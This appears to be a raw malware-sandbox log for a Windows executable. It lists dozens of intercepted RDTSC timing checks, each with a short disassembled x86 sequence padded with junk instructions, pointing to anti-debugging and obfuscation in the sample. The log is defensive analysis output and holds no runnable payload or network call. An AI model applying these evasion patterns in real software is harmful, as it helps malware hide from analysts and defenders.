Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6CD0BF second address: 6CD0CB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F77291E5956h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6DC523 second address: 6DC536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F772874F636h 0x0000000a pop esi 0x0000000b push esi 0x0000000c jns 00007F772874F636h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6DC7B6 second address: 6DC7BB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6DCB63 second address: 6DCB6A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6DCB6A second address: 6DCB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 jmp 00007F77291E5961h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F77291E5966h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6DCB9D second address: 6DCBA7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F772874F636h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6DF944 second address: 6DF94A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6DFA2A second address: 6DFAA6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F772874F638h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 76DECBA7h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F772874F638h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov dh, 82h 0x0000002f lea ebx, dword ptr [ebp+124647D5h] 0x00000035 xchg eax, ebx 0x00000036 jno 00007F772874F65Ah 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 push ecx 0x00000041 pop ecx 0x00000042 jmp 00007F772874F63Ah 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6DFB42 second address: 6DFB48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6DFB48 second address: 6DFB4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6DFB4C second address: 6DFB7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E595Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e movsx esi, bx 0x00000011 push 00000000h 0x00000013 sbb esi, 6D4C408Dh 0x00000019 push F8E241C1h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F77291E595Dh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6DFB7E second address: 6DFB88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F772874F636h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6DFB88 second address: 6DFB8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6DFC73 second address: 6DFCF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F772874F646h 0x0000000e push 00000000h 0x00000010 or dword ptr [ebp+122D260Bh], eax 0x00000016 mov esi, 14BAA0A4h 0x0000001b push 0ECD7C01h 0x00000020 pushad 0x00000021 jmp 00007F772874F643h 0x00000026 jmp 00007F772874F63Bh 0x0000002b popad 0x0000002c xor dword ptr [esp], 0ECD7C81h 0x00000033 mov esi, edx 0x00000035 push 00000003h 0x00000037 push ecx 0x00000038 mov edi, dword ptr [ebp+122D2AF7h] 0x0000003e pop edx 0x0000003f push 00000000h 0x00000041 mov edx, dword ptr [ebp+122D2C27h] 0x00000047 push 00000003h 0x00000049 sub dword ptr [ebp+122D3112h], eax 0x0000004f push 615D1F40h 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6DFCF1 second address: 6DFD27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F77291E5958h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f add dword ptr [esp], 5EA2E0C0h 0x00000016 mov edx, dword ptr [ebp+122D3859h] 0x0000001c movzx esi, ax 0x0000001f lea ebx, dword ptr [ebp+124647E9h] 0x00000025 mov dl, D7h 0x00000027 xchg eax, ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a jnl 00007F77291E595Ch 0x00000030 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6CEA41 second address: 6CEA4B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F772874F636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FD370 second address: 6FD37E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F77291E595Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FD37E second address: 6FD388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FD388 second address: 6FD38C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FDCCF second address: 6FDCD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FDF53 second address: 6FDF5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FE0B1 second address: 6FE0B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FE0B5 second address: 6FE0DE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F77291E595Bh 0x0000000e jmp 00007F77291E5965h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FE0DE second address: 6FE0E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FE0E4 second address: 6FE0E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FE270 second address: 6FE27D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jne 00007F772874F642h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6F29F9 second address: 6F29FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6F29FF second address: 6F2A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F772874F63Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6F2A0B second address: 6F2A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6F2A0F second address: 6F2A14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6F2A14 second address: 6F2A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F77291E595Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 pushad 0x00000015 jns 00007F77291E5956h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6F2A3D second address: 6F2A45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6F2A45 second address: 6F2A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6F2A49 second address: 6F2A65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F648h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6C1393 second address: 6C13A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F77291E595Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6C13A5 second address: 6C13AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6C13AB second address: 6C13C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5967h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FE41B second address: 6FE435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F772874F640h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FE435 second address: 6FE44C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F77291E5962h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FE44C second address: 6FE463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F772874F636h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jc 00007F772874F644h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FEBA0 second address: 6FEBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 jmp 00007F77291E5964h 0x0000000c jng 00007F77291E595Eh 0x00000012 jmp 00007F77291E5963h 0x00000017 jc 00007F77291E5962h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FED17 second address: 6FED2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jp 00007F772874F636h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FED2E second address: 6FED42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F77291E595Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FED42 second address: 6FED6C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F772874F64Dh 0x00000008 pushad 0x00000009 jns 00007F772874F636h 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FEE9F second address: 6FEEC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F77291E5963h 0x0000000e jnl 00007F77291E5956h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6FF1AE second address: 6FF1B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70796B second address: 7079B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F77291E5966h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push ecx 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop ecx 0x00000012 push ebx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F77291E595Eh 0x0000001a pop ebx 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F77291E595Fh 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7079B5 second address: 7079D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F644h 0x00000007 jnc 00007F772874F636h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70B6BC second address: 70B6F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F77291E5968h 0x00000008 jo 00007F77291E5956h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F77291E5961h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70B3B1 second address: 70B3B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70B3B6 second address: 70B3BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70B3BC second address: 70B3C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70B3C0 second address: 70B3CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70B3CC second address: 70B3F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F772874F636h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F772874F641h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F772874F636h 0x0000001a jbe 00007F772874F636h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70B3F8 second address: 70B40A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F77291E595Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70E977 second address: 70E97C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70E97C second address: 70E982 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70EB33 second address: 70EB3F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edi 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70F6CC second address: 70F6D1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70FAAD second address: 70FAB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 70FAB3 second address: 70FAC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a pushad 0x0000000b jg 00007F77291E5956h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71002E second address: 710033 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 710033 second address: 7100BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F77291E595Bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, dword ptr [ebp+122D2A5Fh] 0x00000013 push 00000000h 0x00000015 movzx esi, dx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007F77291E5958h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 call 00007F77291E5963h 0x00000039 sub dword ptr [ebp+122D3043h], esi 0x0000003f pop esi 0x00000040 xchg eax, ebx 0x00000041 pushad 0x00000042 jmp 00007F77291E5963h 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F77291E5962h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7100BB second address: 7100BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 710A01 second address: 710A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 710A05 second address: 710A18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F63Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7119F2 second address: 7119F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 711221 second address: 71122F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F63Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7119F6 second address: 711A2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F77291E5966h 0x0000000b popad 0x0000000c nop 0x0000000d mov edi, dword ptr [ebp+122D2C47h] 0x00000013 mov si, 6992h 0x00000017 push 00000000h 0x00000019 mov edi, dword ptr [ebp+122D2CC3h] 0x0000001f push 00000000h 0x00000021 clc 0x00000022 xchg eax, ebx 0x00000023 push esi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 711A2F second address: 711A3F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71244F second address: 712526 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F77291E5966h 0x00000008 jmp 00007F77291E595Dh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F77291E5969h 0x00000016 nop 0x00000017 mov dword ptr [ebp+122D3047h], ebx 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ecx 0x00000022 call 00007F77291E5958h 0x00000027 pop ecx 0x00000028 mov dword ptr [esp+04h], ecx 0x0000002c add dword ptr [esp+04h], 00000016h 0x00000034 inc ecx 0x00000035 push ecx 0x00000036 ret 0x00000037 pop ecx 0x00000038 ret 0x00000039 jmp 00007F77291E5968h 0x0000003e jg 00007F77291E5963h 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push edx 0x00000049 call 00007F77291E5958h 0x0000004e pop edx 0x0000004f mov dword ptr [esp+04h], edx 0x00000053 add dword ptr [esp+04h], 00000016h 0x0000005b inc edx 0x0000005c push edx 0x0000005d ret 0x0000005e pop edx 0x0000005f ret 0x00000060 call 00007F77291E5965h 0x00000065 mov dword ptr [ebp+122D21CAh], ecx 0x0000006b pop edi 0x0000006c xchg eax, ebx 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7121DD second address: 7121E7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F772874F636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 712526 second address: 71252A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71452B second address: 71452F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 716F60 second address: 716F8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F77291E595Bh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F77291E5968h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7179AC second address: 7179B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 716F8D second address: 716F92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 717BD0 second address: 717BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 716F92 second address: 716F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
